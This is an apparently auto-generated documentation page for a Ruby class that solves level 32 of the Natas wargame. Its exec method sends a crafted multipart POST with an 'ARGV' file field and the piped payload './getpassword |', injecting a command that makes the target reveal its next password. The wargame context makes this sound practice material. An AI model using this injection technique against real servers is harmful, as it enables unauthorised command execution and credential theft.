Class: NatasLevel32

Inherits:
NatasLevelBase show all
Defined in:
lib/natas.rb

Overview

Level 32

Constant Summary collapse

LEVEL =
32
PAGE =
'/'
PAYLOAD =
%(./getpassword |)

Constants inherited from NatasLevelBase

NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS

Instance Attribute Summary

Attributes inherited from NatasLevelBase

#login, #password

Instance Method Summary collapse

Methods inherited from NatasLevelBase

#get, #initialize, #level, #post

Constructor Details

This class inherits a constructor from NatasLevelBase

Instance Method Details

#execObject



918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
# File 'lib/natas.rb', line 918

def exec
  payload = URI.encode_www_form_component(PAYLOAD)
  payload.gsub!('+', '%20')
  request = Net::HTTP::Post.new(
    "#{PAGE}?#{payload}"
  )
  request.basic_auth(@login, @password)
  request['Content-Type'] = 'multipart/form-data; boundary="boundary"'
  body = <<~BODY
  --boundary
  Content-Disposition: form-data; name="file"

  ARGV
  --boundary
  Content-Disposition: form-data; name="file"; filename="file"

  --boundary--
  BODY

  request.body = body.gsub("\n", "\r\n")
  data = @client.request(request).body
  match = /<th>(\w{32})\n/.match(data)
  not_found unless match
  found(match[1])
end